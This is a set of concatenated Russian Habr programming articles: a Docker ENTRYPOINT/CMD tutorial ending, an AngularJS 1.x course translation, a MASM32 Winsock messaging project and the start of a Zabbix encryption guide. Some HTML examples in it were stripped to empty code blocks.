Аргумент `/var` был добавлен к нашей инструкции `ENTRYPOINT`, что позволило эффективно запустить команду `ls/usr/var`.
### Факт 6c: При использовании режима *exec* для инструкции `ENTRYPOINT` необходимо использовать режим *exec* и для инструкции `CMD`. Если этого не сделать, Docker попытается добавить `sh -c` в уже добавленные аргументы, что может привести к некоторым непредсказуемым результатам.
Факт 7: Инструкции `ENTRYPOINT` и `CMD` могут быть переопределены с помощью флагов командной строки.
----------------------------------------------------------------------------------------------------
Флаг `--entrypoint` может быть использован, чтобы переопределить инструкцию `ENTRYPOINT`:
```
docker run --entrypoint [my_entrypoint] test
```
Все, что следует после названия образа в команде `docker run`, переопределяет инструкцию `CMD`:
```
docker run test [command 1] [arg1] [arg2]
```
Все вышеперечисленные факты справедливы, но имейте в виду, что разработчики имеют возможность переопределять флаги в команде `docker run`. Из этого следует, что ...
Достаточно фактов… Что же делать мне?
-------------------------------------
Ok, если вы дочитали статью до этого места, то вот информация, в каких случаях использовать `ENTRYPOINT`, а в каких `CMD`.
Это решение я собираюсь оставить на усмотрение человека, создающего **Dockerfile**, который может быть использован другими разработчиками.
Используйте `ENTRYPOINT`, если вы не хотите, чтобы разработчики изменяли исполняемый файл, который запускается при запуске контейнера. Вы можете представлять, что ваш контейнер – *исполняемая оболочка*. Хорошей стратегией будет определить *стабильную* комбинацию параметров и исполняемого файла как `ENTRYPOINT`. Для нее вы можете (не обязательно) указать аргументы `CMD` по умолчанию, доступные другим разработчикам для переопределения.
```
$ cat Dockerfile
FROM alpine
ENTRYPOINT ["ping"]
CMD ["www.google.com"]
```
```
$ docker build -t test .
```
Запуск с параметрами *по умолчанию*:
```
$ docker run test
PING www.google.com (172.217.7.164): 56 data bytes
64 bytes from 172.217.7.164: seq=0 ttl=37 time=0.306 ms
```
Переопределение CMD собственными параметрами:
```
$ docker run test www.yahoo.com
PING www.yahoo.com (98.139.183.24): 56 data bytes
64 bytes from 98.139.183.24: seq=0 ttl=37 time=0.590 ms
```
Используйте только `CMD` (без определения `ENTRYPOINT`), если требуется, чтобы разработчики могли легко переопределять исполняемый файл. Если точка входа определена, исполняемый файл все равно можно переопределить, используя флаг `--entrypoint`. Но для разработчиков будет гораздо удобнее добавлять желаемую команду в конце строки `docker run`.
```
$ cat Dockerfile
FROM alpine
CMD ["ping", "www.google.com"]
```
```
$ docker build -t test .
```
*Ping* – это хорошо, но давайте попробуем запустить контейнер с оболочкой вместо команды `ping`.
```
$ docker run -it test sh
/ # ps
PID USER TIME COMMAND
1 root 0:00 sh
7 root 0:00 ps
/ #
```
Я предпочитаю по большей части этот метод, потому что он дает разработчикам свободу легко переопределять исполняемый файл оболочкой или другим исполняемым файлом.
Очистка
-------
После запуска команд на хосте осталась куча остановленных контейнеров. Очистите их следующей командой:
```
$ docker system prune
```
Обратная связь
--------------
Буду рад услышать ваши мысли об этой статье ниже в комментариях. Кроме того, если вам известен более простой способ поиска в выдаче докера с помощью *jq*, чтобы можно было сделать что-то вроде `docker inspect [id] | jq * .config`, тоже напишите в комментариях.
### Джон Закконе
Капитан Докера и инженер по облачным технологиям в IBM. Специализируется на Agile, микросервисах, контейнерах, автоматизации, REST, DevOps.
### Ссылки:
1. [ENTRYPOINT vs CMD: Back to Basics](http://www.johnzaccone.io/entrypoint-vs-cmd-back-to-basics/) | https://habr.com/ru/post/329138/ | null | ru | null |
# AngularJS 1.x – перевод курса от CodeSchool
*Данная публикация является переводом оригинального курса CoodSchool с небольшими дополнениями, которые показались мне уместными в данном контексте. Публикация рассчитана на тех, кто только начинает знакомится с Angular.*
#### Введение
AngularJS — популярная JavaScript библиотека, предназначенная, главным образом, для создания одностраничных веб-приложений с динамически обновляемым содержимым. Библиотека была написана словацким программистом Мишкой Хевери, который, работая в Google, получил от своего шефа задание выучить JavaScript. Он решил, что лучший способ изучить язык — это создать на его основе собственный фреймворк. Angular (звучит как «Ангула» и дословно переводится как «Угловатый») использует концепцию разделения данных и их представления, известную как [MVC](https://ru.wikipedia.org/wiki/Model-View-Controller) (M — model (данные), V — view (представление), С — controller (контролер, управляющая прослойка между ними обеспечивающая логику работы приложения).
Разные источники описывают назначение контролера либо так, что контролер реагирует только на действия пользователя и вносит изменения в модель, а потом эти изменения проявляются в интерфейсе без его участия. Либо так, что контролер не только вносит изменения в модель, но и отвечает за их получение от модели вместе с последующей обработкой по необходимости. Angular придерживается второго концепта.
Angular не зависит от внешних библиотек и написан на чистом JavaScript (об этом часто упоминается как о плюсе). При этом, как правило, его рекомендуют использовать в связке с Bootstrap CSS. Так же Angular не ограничивает совместное использование с JQuery, например, для визуальных эффектов. В принципе, и любые друге JS библиотеки, нацеленные на представление (дизайн), например, React от команды Facebook, могут использовать совместно с Angular без особого конфликта между собой.
#### 1. Знакомимся с основными сущностями фреймворка: модуль, контролер, директива, выражение
Базовой структурой в Angular является модуль. По сути, это контейнер для взаимосвязанных функций. Поэтому создание приложения на Angular начинается с создания базового модуля, в котором мы указываем имя приложения. Прежде всего создадим файл app.js, который будет содержать следующий код:
```
var app = angular.module('AppName', [ ]);
```
AppName — имя нашего приложения. Оно, конечно, может быть любое другое на ваш вкус. В квадратных скобках [ ] указываются зависимости на другие модули, необходимые для работы нашего модуля. Если их нет, указываем просто пустой массив. Подробнее об этом позже.
**Контролер [Controler]**
Далее в модуле мы определяем контролер. Пока он один, но их может быть и много. Просто называем каждый следующий другим именем.
```
app.controller('StoreController', function(){
this.data = {name: 'Gem', // это те данные которые
price : 3.49} // предоставляет контролер
});
```
Теперь несколько важных действий внутри HTML кода (которые свяжут наш модуль с дизайном). Для этого создадим файл index.html, в котором прежде всего объявим, что мы используем модуль с выбранным нами именем
Теперь Angular знает, какой модуль использовать внутри данного HTML. Так же подключим саму библиотеку и файл с нашим приложением.
```
```
**Выражение [Expression]**
Внутри HTML в фигурных скобках {{}} указывается переменная. Эта переменная предварительно должна быть определена в контролере. Так же внутри {{}} мы можем указать не только переменную, но и выражение. Например: {{'Цена: '+store.data.price+'$'}}.
Обратите внимание, что выражения нельзя использовать внутри атрибута src тега IMG, поскольку браузер пытается загрузить изображение раньше, чем определен JS. Поэтому в Angular используется специальная директива *ng-src*:
```
![]()
```
**Директива [Directive]**
Директива специальный атрибут, который используется непосредственно внутри HTML тегов и обрабатывается Angular в соответствии с определенной для данной директивы логикой. Например, внутри блока, где нам нужно отображать данные, мы указываем имя контролера (в данном случае StoreController), который будет нам эти самые данные предоставлять. Делается это при помощи встроенной директивы *ng-controller*.
```
{{store.data.price}} // отобразится 3.49
<\div>
```
Другими часто используемыми встроенными директивами являются:
*ng-show* — если ее значение является False скрывает HTML элемент (используя display:none). Полезно когда нужно убрать элементы интерфейса в зависимости от состояния модели. Например для товара который продан автоматически убирать кнопку Купить.
*ng-hide* — обратный аналог ng-show. Т.е. скрывает элемент если его значение равно True.
*ng-repeat* — аналогичен по смыслу функции foreach. Т.е. циклично повторяет включенные в блок HTML теги. Например: добавим в контролер еще один продукт:
```
app.controller('StoreController', function(){
this.data = [{name: 'Gem', price : 3.49},
{name: 'Emerald', price : 17.99}]
});
```
Теперь, для того чтобы вывести цены обоих продуктов, используем ng-repeat:
```
- {{product.name}}: ${{product.price}}
<\div>
<\div>
```
На выходе получим:
Gem: $3.49
Emerald: $17.99
Angular имеет еще [множество других встроенных директив](https://docs.angularjs.org/api/ng/directive), предназначенных для решения различных рутинных задач.
#### 2. Фильтры, директивы и чистый код
Фильтры используются в выражениях и директивах и предназначены для изменения формата данных.
{{ data | filter[:option1][:option2] }}
```
- {{product.name}}: {{product.price | currency:"$":0}} // Emerald: $17
============= = ======== === =
| | | | +- количество знаков после запятой (опционально)
| | | +- символ валюты (опционально)
| | +- фильтр (валюта)
| +- pipe ("труба" означающая что данные перед использованием будут еще пропущены через фильтр)
+- цена
```
Примеры фильтров:
```
**date**
{{'1388123412323' | date:'MM/dd/yyyy @ h:mma'}} // 12/27/2013 @ 12:50AM
```
```
**uppercase**
{{'octagon gem' | uppercase}} // OCTAGON GEM
```
```
**limitTo**
{{'My Description' | limitTo:8}} // My Descr
- // ограничить список продуктов тремя
```
```
**orderBy**
- // сортировка по цене
```
Полный [список встроенных в Angular фильтров](https://docs.angularjs.org/api/ng/filter).
Теперь несколько слов о чистоте кода. Для этого используем следующий пример:
```
* Description
* Specifications
* Reviews
#### Description
{{product.description}}
```
Как видно, логика находится непосредственно в HTML, что конечно не правильно и ее следует переместить на уровень контролера. Для этого добавим в функцию контролера следующий код:
```
app.controller("PanelController", function(){
// инициализация
this.tab = 1;
// установка выбранного табулятора
this.selectTab = function(setTab) {
this.tab = setTab;
};
// проверка если текущий табулятор выбран
this.isSelected = function(checkTab){
return this.tab === checkTab;
};
});
```
Логика теперь находится внутри контролера и осталось только соответственно изменить HTML
```
* Description
* Specifications
* Reviews
#### Description
{{product.description}}
```
#### 3. Модели и Валидаторы на примере создания формы
Одной из основных особенностей Angular является так называемое двусторонние связывание (Two-way Data Binding), означающие, что изменение данных на странице (в форме) автоматически изменяет данные в модели (объекте хранящем данные), а изменение данных в модели так же автоматически обновляет связанную информацию на странице. На первый взгляд выглядит немного запутано, поэтому стоит пояснить на примере:
```
>
> **Stars: {{review.stars}}**
> {{review.body}}
> by: {{review.author}}
>
1 star
2 stars
. . .
by:
```
Так, например, изменение данных в селекторе автоматически отобразится на странице при помощи выражения {{review.stars}}
Таким образом, данные с уровня представления (View) передаются на уровень хранения данных (Model) и обратно.
Так же нужно отметить, что при передачи данных модели с использовании директивы *ng-model* происходит валидация данных, установка специальных классов по итогам валидации и множество других полезных событий.
Теперь свяжем форму с контролером, который обеспечит её обработку. Для начала создадим сам контролер, содержащий метод *addReview*, который должен быть вызван при отправке формы.
```
app.controller("ReviewController", function(){
this.review = {}; // объект для данных формы
this.addReview = function(product) {
product.reviews.push(this.review); // добавим данные из формы в массив результатов
this.review = {}; // очистим форму
};
});
```
После чего внесем необходимые коррективы в форму
```
>
> **Stars: {{reviewCtrl.review.stars}}**
> {{reviewCtrl.review.body}}
> by: {{reviewCtrl.review.author}}
>
1 star
2 stars
. . .
by:
```
Теперь добавим валидацию. Прежде всего отметим поля формы как обязательные при помощи аргумента *required*, а так же добавим условие, чтобы данные сохранялись только для валидной формы. Для этого в тег Form добавим опцию *novalidate*, которая выключит дефолтную HTML валидацию и добавим условие *reviewForm.$valid*, благодаря которому метод *addReview* будет вызываться только у валидной формы.
```
>
> **Stars: {{reviewCtrl.review.stars}}**
> {{reviewCtrl.review.body}}
> by: {{reviewCtrl.review.author}}
>
1 star
2 stars
. . .
by:
reviewForm is {{reviewForm.$valid}}
```
Все поля определенного типа, указанного при помощи атрибута *type*, будут проверятся на предмет корректного заполнения. При этом Angular будет добавлять к полю определенный CSS класс в зависимости от состояния валидации.
Так, например, для типа e-mail установленные классы будут меняться следующим образом:
*.ng-pristine .ng-invalid* // начальное состояние (чисто, невалидно)
*.ng-dirty .ng-invalid* // невалидный е-мейл (заполнено, невалидно)
*.ng-dirty .ng-valid* // валидный е-мейл (заполнено, валидно)
Соответственно мы можем установить для данных классов любые подходящие нам CSS правила. Так, например, вокруг некорректно заполненного поля будет красная рамка, а вокруг корректно заполненного зеленая.
```
.ng-dirty.ng-invalid {
border-color: #FA787E;
// красная рамка
}
.ng-dirty.ng-valid {
border-color: #78FA89;
// зеленая рамка
}
```
В настоящий момент для поля Input поддерживаются следующие валидаторы:
* time
* date
* datetime-local
* week
* month
* number
* text
* email (соответствие минимальным требованиям)
* url (соответствие минимальным требованиям)
* checkbox
* radio
#### 4. Создание собственных директив
Одной из великолепных особенностей Angular является возможность создания собственных директив. Другими словами, можно создавать собственные HTML-теги, которые могут иметь собственную логику и заменять собой целые куски HTML. Можно, например, создать тег , вставив который мы получим на странице редактор текста.
Это позволяет писать выразительный код, который полностью передает структуру нашего приложения. И конечно, это позволяет сильно улучшить повторное использование кода.
В принципе, что касается повторного использования фрагментов HTML кода, Angular имеет в своем распоряжении директиву *ng-include*, которая позволяет вынести часть кода в отдельный файл. Выглядит это следующим образом:
```
###
```
Обратите внимание на одиночные кавычки вокруг имени. Они указывают Angular, что это строка с именем, а не переменная, содержащая имя файла.
Соответственно в файле product-title.html будет находится код, который Angular вставит как содержимое тега H3. Например:
```
{{product.name}}
*${{product.price}}*
```
Как видно, вставляемый таким образом код может содержать выражения, которые будут обработаны после вставки такого фрагмента в общий код.
Но вернемся обратно к созданию собственных директив. Делается это следующим образом:
```
app.directive('productTitle', function(){
return {
restrict: 'E', // E - означает что директива предназначена для Element
templateUrl: 'product-title.html'
};
});
```
Теперь в мы можем использовать это как HTML тег. Обратите внимание, что имя директивы productTitle в HTML трансформируется в product-title.
```
```
Другой способ кастомизации тега является создание собственного атрибута. В этом случае, вместо E(Element) при создании директивы нам нужно указать A(Attribute) для свойства *restrict*. После этого HTML тег будет выглядеть следующим образом:
```
###
```
Рекомендуется использовать «restrict: E» для вставки виджетов и других полностью самостоятельных элементов, содержащих собственную логику, а «restrict: А» — для примесей (mix-in).
В случае, когда речь идет о виджете, нам не обойтись без контролера, который будет содержать всю необходимую логику. Ангулар позволяет реализовать это несколькими способами. Прежде всего можно просто добавить атрибут *ng-controller*:
Но более правильно будет использовать свойство controller внутри функции, создающей нашу директиву:
```
app.directive('productPanels', function(){
return {
restrict: 'E',
templateUrl: 'product-panels.html',
controller: function(){
... // логика
},
controllerAs: 'panels' // название контролера
};
});
```
#### 5. Зависимости и Сервисы (Dependencies and Services )
Зависимости, это модули которые необходимы для обеспечения функциональности создаваемого нами нового модуля. Их так же можно рассматривать как способ улучшить структуру приложения, распределив самостоятельные части логики между различными модулями. Рассмотрим следующий пример:
```
// файл app.js
(function(){
var app = angular.module('store', []);
app.controller('StoreController', function(){ . . . });
app.directive('productTitle', function(){ . . . });
app.directive('productGallery', function(){ . . . });
app.directive('productPanels', function(){ . . . });
})();
```
Логично было бы вынести директивы в самостоятельный модуль или даже для каждой создать свой собственный модуль, в зависимости от необходимой гибкости.
Но в данном случае, чтобы избыточно не усложнять структуру приложения, вынесем их общий модуль.
```
// файл products.js
(function(){
var app = angular.module('store-products', []);
app.directive('productTitle', function(){ . . . });
app.directive('productGallery', function(){ . . . });
app.directive('productPanels', function(){ . . . });
})();
```
Теперь укажем модуль store-products как зависимость для модуля store:
```
// файл app.js
(function(){
var app = angular.module('store', [store-products]);
app.controller('StoreController', function(){ . . . });
})();
```
Последним шагом нужно не забыть подключить наш новый файл:
```
// файл index.html
. . .
. . .
```
В итоге мы разделили модули на основе функциональности.
app.js — содержит топ-левел модуль подключаемый при помощи директивы ng-app;
products.js — содержит всю функциональность для продуктов и только продуктов.
Так же в качестве зависимостей мы можем указывать встроенные в Ангулар сервисы, которые предоставляют различный стандартный функционал. Имена встроенных сервисов начинаются с $.
В качестве примера наиболее популярных сервисов можно привести следующие:
*$http* — коммуникация со сервером посредством XMLHttpRequest;
*$log* — логирование сообщений в консоль браузера;
*$filter* — фильтрация данных в массиве;
… [полный список](https://docs.angularjs.org/api/ng/service).
Пример включения зависимостей (dependency injection) в контролер.
```
app.controller('SomeController', [ '$http', '$log', function($http, $log){
var store = this;
store.products = [];
$http({ method: 'GET', url: '/products.json' }).success(function(data, status, headers, config) {
$log.info(status);
store.products = data;
})
} ]);
``` | https://habr.com/ru/post/244925/ | null | ru | null |
# Сетевые извращения на ассемблере v. 1.1
Мой первый пост в хабра-мире, прошу сильно не пинать ногами, а адекватную критику очень приветствую…
Все началось с курсового проекта по предмету ЯПНУ (Языки Программирования Низкого Уровня) по завершению которого нам в обязательном порядке следовало вложить все наши творческие и технические навыки в создание программы на великом и могучем Ассемблере. Творческая часть заключалась в выборе темы. Не долго думая я решил взять что нибудь с клиент-серверными технологиями и вот что из этого получилось
Суть задания была такова: Есть клиентская и серверная части, между которыми должны посылаться текстовые сообщения (Аля смс), притом при всем общаться они должны через другую программку которая выступает шлюзом между ними, перенаправляя сообщения на определенные указанные порты и мониторя все передаваемые сообщения.
Воодушевленный наполеоновскими идеями я приступил к реализации задуманного. Пролистав немало книг данной тематики, посетив множество форумов посвященных программированию на низком уровне, и почти отчаявшись неожиданно для себя наткнулся на статью (на горячо любимом мною сайте wasm.ru) в которой описывалась библиотека ws2\_32. После этого переломного события дело забурлило. Мною был выбран masm32, как единственное орудие в борьбе с поставленной задачей.
#### Клиент
Разработка клиента заняла у меня больше всего времени, около 3 часов. Так как приложения у меня оконное пришлось немного помучиться с его созданием (благо документации по этому вопросу много). Скопипастив участок кода отвечающий за инициализацию окна, разобравшись в нем и заточив под свой проект у меня получилось нечто такое:
`include \masm32\include\masm32rt.inc
include Our_Socket.inc
option casemap :none
.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke GetCommandLine
invoke WinMain,hInstance,NULL,CommandLine,SW_SHOWDEFAULT
invoke WSACleanup
invoke ExitProcess,eax
invoke InitCommonControls
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc :WNDCLASSEX
LOCAL msg :MSG
LOCAL hwnd :HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style,CS_BYTEALIGNCLIENT
mov wc.lpfnWndProc,offset WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_BTNFACE+1
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx,addr wc
invoke CreateWindowEx,0,ADDR ClassName,ADDR FormCaption,WS_SYSMENU or WS_MINIMIZEBOX,400,80,300,200,0,0,hInst,0
mov hwnd,eax
invoke MessageBox,hwnd,offset Hello,offset Header,MB_ICONINFORMATION
INVOKE ShowWindow,hwnd,SW_SHOWNORMAL
INVOKE UpdateWindow,hwnd
.WHILE TRUE
invoke GetMessage,ADDR msg,0,0,0
.BREAK .IF (!eax)
invoke TranslateMessage,ADDR msg
invoke DispatchMessage,ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp
WndProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
.IF uMsg == WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg == WM_CREATE
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR EditClName,ADDR TextEdit1,WS_CHILD or ES_LEFT or ES_AUTOHSCROLL or WS_VISIBLE,8,8,121,21,hWnd,Edit1ID,hInstance,0
mov hwndEdit1,eax
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR EditClName,ADDR TextEdit2,WS_CHILD or ES_LEFT or ES_AUTOHSCROLL or WS_VISIBLE,8,35,185,21,hWnd,Edit2ID,hInstance,0
mov hwndEdit2,eax
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR EditClName,ADDR TextMemo1,WS_CHILD or ES_LEFT or ES_AUTOHSCROLL or ES_AUTOVSCROLL or ES_MULTILINE or WS_VISIBLE,8,60,185,89,hWnd,Memo1ID,hInstance,0
mov hwndMemo1,eax
invoke CreateWindowEx,0,ADDR BtnClName,ADDR TextButton1,WS_CHILD or BS_DEFPUSHBUTTON or WS_VISIBLE,130,6,75,25,hWnd,Button1ID,hInstance,0
mov hwndButton1,eax
invoke CreateWindowEx,0,ADDR BtnClName,ADDR TextButton2,WS_CHILD or BS_DEFPUSHBUTTON or WS_VISIBLE,205,6,75,25,hWnd,Button2ID,hInstance,0
mov hwndButton2,eax
invoke CreateWindowEx,0,ADDR BtnClName,ADDR TextButton3,WS_CHILD or BS_DEFPUSHBUTTON or WS_VISIBLE,205,32,75,25,hWnd,Button3ID,hInstance,0
mov hwndButton3,eax
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start`
Сразу хочу уточнить объявление всех переменных я вынес в отдельный файл под названием Our\_Socket.inc так как по большому счету он такой же и для Сервера и для Шлюза.
Ниже его содержимое:
`include \masm32\include\ws2_32.inc ;работа с сокетами - winsock
includelib \masm32\lib\ws2_32.lib
option casemap :none
VERSION1_0 equ 0100h
VERSION1_1 equ 0101h
VERSION2_0 equ 0200h
AF_INET equ 2
SOCK_STREAM equ 1
SOCKET_ERR equ -1
HOSTENT_IP equ 10h
Port equ 9999
buffsz equ 255
WM_SOCKET equ WM_USER+100
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
Conecting_people proto :DWORD
Error proto :DWORD
Disconecting_people proto :DWORD
.const
Edit1ID equ 1
Edit2ID equ 4
Button1ID equ 2
Button2ID equ 3
Button3ID equ 5
Memo1ID equ 6
.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwndEdit1 HWND ?
hwndEdit2 HWND ?
hwndButton1 HWND ?
hwndButton2 HWND ?
hwndButton3 HWND ?
hwndMemo1 HWND ?
buff dd ?
;_______________
.data
wsadata WSADATA <0>
saServer sockaddr_in <0>
sockaddrsz dd sizeof sockaddr_in
tmp dd 0
FgSend dd ?
;buff db buffsz dup (0)
;_______________
text db 255 dup (0)
CompName dd 100 dup (0)
skt dd 0
Hello db "Программа для организации обмена небольшими сообщениями . © Gotech",0
Header db "SmallMessageSender 1.0 Alpha",0
Err_mess1 db "Машина с таким иминем не найдена!",0
Err_mess2 db "Сокет небыл создан!",0
Err_mess3 db "В коннекте отказанно!",0
Err_mess4 db "Сокет не закрывается!",0
Err_mess5 db "Косяк!",0
Err_mess6 db "Привязка к порту не удалась!",0
Err_mess7 db "Listen непрокатил!",0
Err_mess8 db "Неудалось принять!",0
Suc_mess1 db "Приконектились! УРА!",0
Suc_mess2 db "Accepted!",0
Suc_mess3 db "Sucess2",0
Suc_mess4 db "Дисконектед!",0
Suc_mess5 db "Sucess4",0
Suc_mess6 db "Sucess5",0
Suc_mess7 db "Sucess6",0
Suc_mess8 db "Sucess7",0
;_______________
ClassName db "Mega_client",0
BtnClName db "button",0
EditClName db "edit",0
StatClName db "static",0
LboxClName db "listbox",0
CboxClName db "combobox",0
ReditClName db "richedit",0
RichEditLib db "riched32.dll",0
FormCaption db "SmallMessageClient 1.0 Alpha",0
;_______________
TextEdit1 db "death-star",0
TextEdit2 db "I agree with you!!!",0
TextButton1 db "Connect",0
TextButton2 db "Disconect",0
TextButton3 db "Send",0
TextMemo1 db 0`
Далее все как во взрослой программе пишем процедуру для создания сокета:
`Conecting_people proc hWnd:HWND
invoke WSAStartup,010001h,offset wsadata
invoke gethostbyname,addr CompName
.if eax == 0
mov edx,offset Err_mess1
invoke Error,hWnd
ret
.endif
assume eax:ptr hostent
mov ebx,[eax].h_list
mov ebx,[ebx]
mov ebx,[ebx]
mov saServer.sin_addr,ebx
assume eax:nothing
mov saServer.sin_family,AF_INET
invoke htons,Port
mov saServer.sin_port,ax
invoke socket, AF_INET,\
SOCK_STREAM,\
0
.if eax == INVALID_SOCKET
mov edx,offset Err_mess2
invoke Error,hWnd
ret
.endif
mov skt,eax
invoke WSAAsyncSelect, skt, hWnd, WM_SOCKET, FD_ACCEPT or FD_READ or FD_WRITE or FD_CLOSE or FD_CONNECT
.if eax == SOCKET_ERROR
mov edx,offset Err_mess5
invoke Error,hWnd
ret
.endif
invoke connect,skt,\
offset saServer,\
sockaddrsz
.if eax == SOCKET_ERROR
.if ecx == 2733h
.else
mov edx,offset Err_mess3
invoke Error,hWnd
.endif
ret
.endif
ret
Conecting_people endp`
Для большего понимания процессов которые там происходят (на самом деле чтобы лишний раз не запускать Ollydbg) я впихнул еще и обработчик ошибок в более или менее критических участках. Ну и процедура вывода их на экран прилагается:
`Error proc hWnd:HWND
invoke MessageBox,hWnd,edx,0,MB_ICONINFORMATION
ret
Error endp`
Принцип процедуры Conecting\_people, ни чем не отличается от подобной процедуры в других языках программирования. Так же как и везде заполняется структура sockaddr\_in создается сокет и собственно создается канал между двумя машинами. Пожалуй единственное отличие здесь заключается в использовании процедуры WSAAsyncSelect (описанной в библиотек ws2\_32) которая указывает с какого сокета и какие события следует обрабатывать.
Забыл упомянуть, обработка всех событий происходит в процедуре WndProc, будь то перемещение курсора, сворачивание окна, изменение его размеров, в общем полностью все действия которые совершаются над окном в том числе и все действия с нашим созданным сокетом.
Для того чтобы данная процедура работала ее следует вызвать, а вызывать мы ее будем по нажатию кнопки Connect находящейся на нашем окошке. Вставляем следующий код в процедуру WndProc:
`.ELSEIF uMsg == WM_COMMAND
mov eax,wParam
.IF lParam != 0
.IF ax == Button1ID
shr eax,16
.IF ax == BN_CLICKED
invoke GetWindowTextLength,hwndEdit1
mov tmp,eax
inc tmp
invoke SendMessage,hwndEdit1,WM_GETTEXT,tmp,addr CompName
invoke Conecting_people,hWnd
.ENDIF`
Теперь по нажатию кнопки Connect, у нас будет считываться текст из Edit1 и помещаться в переменную CompName, после чего будет вызвана наша процедура.
Аналогичным образом поступаем с процедурой отвечающей за убивания созданного сокета:
`Disconecting_people proc hWnd:HWND
invoke closesocket,skt
.if eax != 0
mov edx,offset Err_mess4
invoke Error,hWnd
ret
.endif
ret
Disconecting_people endp`
Здесь по моему комментарии излишни.
И так же обрабатываем нажатие кнопки Disconect вызывая процедуру Disconecting\_people.
`.ELSEIF ax == Button2ID
shr eax,16
.IF ax == BN_CLICKED
invoke Disconecting_people,hWnd
.ENDIF`
Теперь нам надо как то отправлять сообщения. Делать мы это будем как вы наверное уже догадались по нажатию клавиши Send. Я не стал выносить это все дело в отдельную процедуру, а прямо как есть написал в WndProc
`.ELSEIF ax == Button3ID
shr eax,16
.IF ax == BN_CLICKED
.if FgSend!=FALSE
invoke GetWindowTextLength,hwndEdit2
mov tmp,eax
inc tmp
inc tmp
invoke SendMessage,hwndEdit2,WM_GETTEXT,tmp,addr buff
invoke send, skt, addr buff, tmp, 0
.if eax == SOCKET_ERROR
mov edx,offset Err_mess8
invoke Error,hWnd
ret
.endif
invoke SendMessage,hwndEdit2,WM_SETTEXT,NULL,0
.endif
.ENDIF
.ENDIF`
Смысл тут такой. Если нам разрешено писать в сокет (за это у нас отвечать будет переменная FgSend), тогда мы считываем размер текста находящегося в Edit2 (чтобы знать сколько нам надо байт отослать), и всё его содержимое кладем в переменную buff. Следующим делом мы отсылаем все это безобразия в наш сокет и при возникновении ошибок, выводим их на экран. По моему все достаточно просто.
Ах да, чуть не забыл. Следует еще написать обработку для сокета. Выкладываю код, ниже поясню:
`.ELSEIF uMsg == WM_SOCKET
mov eax, lParam
mov edx, eax
shr edx, 16
.IF ax == FD_ACCEPT
invoke MessageBox,hWnd,offset Suc_mess2,0,MB_ICONINFORMATION
.ELSEIF ax == FD_READ
xor esi,esi
.while esi!=buffsz
mov [buff+esi],0
inc esi
.endw
invoke recv, wParam, addr buff, buffsz, 0
.if eax == SOCKET_ERROR
mov edx,offset Err_mess8
invoke Error,hWnd
ret
.endif
invoke SendMessage,hwndMemo1,WM_SETTEXT,NULL,addr buff
.ELSEIF ax == FD_CLOSE
invoke MessageBox,hWnd,offset Suc_mess4,0,MB_ICONINFORMATION
.ELSEIF ax == FD_WRITE
mov FgSend, TRUE
.ELSEIF ax == FD_CONNECT
invoke MessageBox,hWnd,offset Suc_mess1,0,MB_ICONINFORMATION
.ENDIF`
Здесь на самом деле все тоже просто. Если у нас сокет установлен на чтение, мы весь поток информации засовываем в переменную buff, первоначально ее занулив. Проверяем на ошибки, и если все нормально, то все что мы получили мы выводим в Memo, затерев предыдущее его содержимое.
Если у нас сокет закрылся, мы выводим сообщение, аналогично и с событиями Connect и Accept. Ну а если у нас сокет установлен на запись, то мы просто взводим флаг сигнализирующий о том, что писать в сокет можно!
#### Сервер
Полностью все тоже самое различие лишь в одной процедуре, а именно Connecting\_people. Все различие заключается заменой вызова процедуры connect на процедуры bind и listen:
`invoke bind, skt,offset saServer, sockaddrsz
.if eax == SOCKET_ERROR
mov edx,offset Err_mess6
invoke Error,hWnd
ret
.endif
invoke listen, skt, 10
.if eax == SOCKET_ERROR
mov edx,offset Err_mess7
invoke Error,hWnd
ret
.endif`
#### Шлюз
Про шлюз скажу только что он в себе совмещает клиентскую и серверную части, каждый раз получая сообщения с одного сокета перенаправляет их на другой.
 | https://habr.com/ru/post/73453/ | null | ru | null |
# Zabbix под замком: включаем опции безопасности компонентов Zabbix для доступа изнутри и снаружи
А не пришло ли время разобраться и навести наконец-то порядок с безопасностью в мониторинге? Тем более, в одной из популярных систем мониторинга и встроенная возможность такая имеется.
На схеме видно, что зашифровать можно почти все потоки внутри Zabbix. В этой статье мы расскажем и покажем как это сделать, а еще расскажем о новой интеграции Zabbix с хранилищем секретов Hashicorp Vault. Там можно хранить любую чувствительную информацию от логина/пароля в БД до значений макросов. Это позволит централизованно управлять авторизационными данными, вести аудит и не хранить их на файловой системе или в БД Zabbix. Такой функционал появился в последней (на момент публикации статьи) версии Zabbix 5.2.
> **Интересный факт**: включение шифрования на компонентах Zabbix не требует открытия дополнительных портов на фаерволлах, демоны Zabbiх поддерживают шифрованные и нешифрованные соединения одновременно.
Велкам ту подкат.
В Zabbix есть следующие основные информационные потоки:
* **Пользователь (web-браузер) <-> Zabbix web-сервер.** Управление конфигурацией Zabbix, представление метрик. Шифрование настраивается средствами web-сервера.
* **Zabbix web-сервер <-> Zabbix-сервер.** Web-сервер проверяет запущен ли Zabbix-сервер, запрашивает текущее состояние очереди, выполняет тест элементов данных и некоторые другие операции. Единственный поток, который в соответствии с архитектурой Zabbix нельзя зашифровать. Мы даже пытаться не будем.
